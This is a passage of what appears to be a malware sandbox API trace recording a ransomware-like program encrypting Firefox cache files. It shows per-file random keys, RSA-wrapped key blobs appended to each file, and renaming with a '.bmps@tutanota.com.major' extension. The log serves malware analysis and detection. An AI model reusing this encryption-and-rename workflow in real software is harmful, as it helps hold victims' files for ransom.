(in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.074] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Yw2sTZEMJ5Dc06Md6xwJPKTcwx82pZ2661Umv7EcKWU5K39E5C+cXiD2PRSG/hpZ\nmxdvjIQsG/5YnH4fqQxMgR0/7zCjdm4vZ4W+Zlj8p/+B2vryjLzDHKGCjjCyQJO7\nbJG3inFTlUitkkiwMHM/FJh3G3lqvdA11jzV6nnl8pfta1BIf0mCCp3X0bqrO7wb\nJTwWo38LgB6lqd5Gqoxk+3YU6jBJNR8WqQSdMcjIEtaYQ0AX/bXb28WJ1BH6tPqI\n7PQF3exzUltH9T0IhhIU/u5e50ogZflXnJh3bv4BB/vdoLfrDNEEAWuWCaSkm0j0\nHzKKd93F3GSlOtQZneS5Ng==\n", pcchString=0x2e3f9a8) returned 1 [0270.074] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.074] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.075] CloseHandle (hObject=0x1b84) returned 1 [0270.075] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d44ac703c53cc7ee6356f698fd1b03da81ffe47"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d44ac703c53cc7ee6356f698fd1b03da81ffe47.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.279] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.279] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9", dwFileAttributes=0x80) returned 1 [0270.279] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0270.280] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.280] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0270.281] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0270.281] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.281] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0v/4mQyJILMiaYYmJxL7ojguhRx4AN7MD9CAnLGy6ZECimfQ/v1dLMQOTwQWCHA0\np9qeXOlal1Gloc78J5MWlWqCVOpvMQpzlzB25wpKAUTbUybwr7oAp/ihEeUyM26Z\nFJBHfsR82herFjB0NmKPCtD9fUyrbcFj3m5jPdE5jne9DZ6lqfgPy95sKkK2q41o\nFHSfiQG6AMB7TeDE4eWcOEmOBFLOfndeZYCnCQZkQXX6Wd7MIcAHhvPVR+OWpmnZ\njWzeGtwLwTHAHk/KSl5djfhHC1fXgVknAUeQVX5B0Kict9qo8bmVj4RN6tLxR8AG\nRaV6OtmtHNIxdWJXPuJkNA==\n", pcchString=0x2e3f9a8) returned 1 [0270.282] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.282] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.282] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.282] CloseHandle (hObject=0x1b84) returned 1 [0270.282] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d3521e1d174fcb4103705b4338e3ab106525cc9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D3521E1D174FCB4103705B4338E3AB106525CC9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d3521e1d174fcb4103705b4338e3ab106525cc9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.284] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.284] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2", dwFileAttributes=0x80) returned 1 [0270.284] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0270.391] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.391] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0270.391] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0270.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.392] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="F92tzLE7kGuD+w/pAVPCbQssD3SssNud8VvSF8LICYikeGt+msL7bSPsXjp1qVkE\nS4yOM/U+lbdjDMEO61r02wknfl7V+30iMNcUDdYdhMUBE4834yP4TLxS+HhYcV3B\nBWdYcruchCswwsboW9zUVL9g4wAWqkxHfPkiRVIcnbJu5Pd2SCuYqrWI0F8FJr3q\ns6t1logIfSLSKGxucYJM83BvbqiUzgz8ROWOgrAbyQR+Tapw4PoBQ2L5dHUI7ad6\nl/8HHL5nemA4iYifrrRTUlKdAMNOFmoStRJShJk2VErwWHQ1E6vtmuxT8Ayn8xR0\nljUv7rYtkpB9tS+pYTLuWw==\n", pcchString=0x2e3f9a8) returned 1 [0270.392] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.393] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.393] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.393] CloseHandle (hObject=0x1b84) returned 1 [0270.393] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d226bbbf0930c513e215adfb7b666d0dca9b9d2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5d226bbbf0930c513e215adfb7b666d0dca9b9d2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.395] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.395] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33", dwFileAttributes=0x80) returned 1 [0270.395] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xeee, lpOverlapped=0x0) returned 1 [0270.611] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.611] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xeee, lpOverlapped=0x0) returned 1 [0270.612] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xeee [0270.612] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.612] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FyLTh9IQ9qFlVSDzyDuAw2ocFtt3cAN69Sc0qRFZBGAjPdMVinhOn9IBL/FTMTB+\nCTrXhrNHJec5/EcEDJJmAPPjcPr9hvlUy5Va7Turfz1SSUKAjJWsVhz+bphv/VF9\nlknPyfR9mXh2xE/v9syv0gPcSPezHBaiD/lOL2VhqCzgdlLP0+evOSxf06lVKWXf\n9PAku6tLVYG/XmPjEGeNBCHsUtTRmz6tIvZxPqU3sHzjaJtmHlLgbjM/AA9dhN2D\n9xaNF8gSPNHSKb5GdCwJ7OdsFqreOmPHVoPxxuAysT+PHrITCWETkH9g0Gq86ses\nrQttATDjT2wAZr5RD38soQ==\n", pcchString=0x2e3f9a8) returned 1 [0270.613] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.613] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.613] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.613] CloseHandle (hObject=0x1b84) returned 1 [0270.614] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5cc1482042ea552d42db375cf62e1959edfd4f33"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5CC1482042EA552D42DB375CF62E1959EDFD4F33.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5cc1482042ea552d42db375cf62e1959edfd4f33.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.616] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.616] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3", dwFileAttributes=0x80) returned 1 [0270.627] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x2817, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x2817, lpOverlapped=0x0) returned 1 [0270.628] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-10263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.628] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e040*, nNumberOfBytesToWrite=0x2817, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e040*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2817, lpOverlapped=0x0) returned 1 [0270.629] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2817 [0270.629] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.629] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.630] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.630] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.630] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.630] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="upIhbAEDrjP/rLkLUsj7koeYcJUX7tfGn8ub8Ts3YsOAuBLYXZbVcJlRspEUnf6L\ns3Sokw5YeKIfXKSY7WoD9AZZQei9GOI/Qj4jWnunBqq6XIqnUjRdIxD9ydnA9Hny\nTek/Z9lp6uBYVPvKnm2c7DcV5egsqhiyGQrRNsmTRqCuWe2eouXSAkhXkaoDGVe6\nShtNyKzzx8ue8YMHl6pDNxyEhQ2mqPi83Z0tVcqTBeYJwgZZNqGQB857Y2AQ6+V6\nqAwyxId+y/p5zt64nBIspRxJ/529pNCvckAKf41ubZerBIVZEHbYcX75ZmHy0y12\n7sIrGXi64ZfrJ2eEhXr6RA==\n", pcchString=0x2e3f9a8) returned 1 [0270.630] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.630] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.630] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.631] CloseHandle (hObject=0x1b84) returned 1 [0270.631] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5b9196645bd157422af27c7daa67799558b3fdf3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5B9196645BD157422AF27C7DAA67799558B3FDF3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5b9196645bd157422af27c7daa67799558b3fdf3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.633] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.633] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC", dwFileAttributes=0x80) returned 1 [0270.633] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0270.663] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.663] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0270.664] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf30 [0270.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.664] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SfWkLrR2OuVb4EcTtR4Sjtya4tIYXFoY1PaEPdeMK+JqitZbl53LG6qPApdVAeKr\n9hWXt3+NlP7rkntOPvyAtTxrdr8W0dllD5O9VKjeRZ3JVxvHz0LQDlrKV0NralaE\nvAczEk/OUdLsZ9/Jl/MtG+md3jj2y3b71mS60gB5FSWbDBMb3d/QAfJQEibeeuXs\nqbvh1IX9cnO2n2Mw+UmqBcfyjDViitiVltY/Ux0hA/UicQ5ylYeYwmSPqDHY7H8p\nMUo36fvc/V+QEFXp/DZTUzD/Yhm+TCTd4mkYFs/mBPKcKJ6+8l4MkqQPVqqgvi/w\nW0XZrvyXBWL4E6L7Mk9rMQ==\n", pcchString=0x2e3f9a8) returned 1 [0270.665] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.665] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.665] CloseHandle (hObject=0x1b84) returned 1 [0270.666] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a78256218e560b4d9035cc52a989756691dfaec"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A78256218E560B4D9035CC52A989756691DFAEC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a78256218e560b4d9035cc52a989756691dfaec.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.667] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9", dwFileAttributes=0x80) returned 1 [0270.668] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x3798, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x3798, lpOverlapped=0x0) returned 1 [0270.731] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-14232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.731] WriteFile (in: hFile=0x1b84, lpBuffer=0x343efc0*, nNumberOfBytesToWrite=0x3798, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343efc0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3798, lpOverlapped=0x0) returned 1 [0270.732] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, 